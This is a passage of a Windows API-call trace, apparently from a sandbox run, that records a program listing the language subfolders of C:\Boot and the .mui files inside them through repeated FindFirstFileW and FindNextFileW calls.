ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ae48 [0135.044] FindNextFileW (in: hFindFile=0x69ae48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.044] FindNextFileW (in: hFindFile=0x69ae48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.044] FindNextFileW (in: hFindFile=0x69ae48, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0135.044] FindClose (in: hFindFile=0x69ae48 | out: hFindFile=0x69ae48) returned 1 [0135.044] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.044] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0135.044] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b088 [0135.045] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.045] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.045] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.045] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.045] FindClose (in: hFindFile=0x69b088 | out: hFindFile=0x69b088) returned 1 [0135.045] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.045] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0135.045] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b048 [0135.045] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.046] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.046] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0135.046] FindClose (in: hFindFile=0x69b048 | out: hFindFile=0x69b048) returned 1 [0135.046] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.046] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0135.046] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b048 [0135.047] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.047] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.047] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.047] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.047] FindClose (in: hFindFile=0x69b048 | out: hFindFile=0x69b048) returned 1 [0135.047] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.047] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0135.047] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69abc8 [0135.047] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.047] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.047] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.047] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.047] FindClose (in: hFindFile=0x69abc8 | out: hFindFile=0x69abc8) returned 1 [0135.047] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.047] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0135.048] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69adc8 [0135.048] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.048] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.048] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0135.048] FindClose (in: hFindFile=0x69adc8 | out: hFindFile=0x69adc8) returned 1 [0135.048] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.048] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0135.048] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0135.048] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69aec8 [0135.049] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.049] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.049] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.049] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.049] FindClose (in: hFindFile=0x69aec8 | out: hFindFile=0x69aec8) returned 1 [0135.049] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.049] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0135.049] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b008 [0135.049] FindNextFileW (in: hFindFile=0x69b008, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.050] FindNextFileW (in: hFindFile=0x69b008, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.050] FindNextFileW (in: hFindFile=0x69b008, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.050] FindNextFileW (in: hFindFile=0x69b008, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, 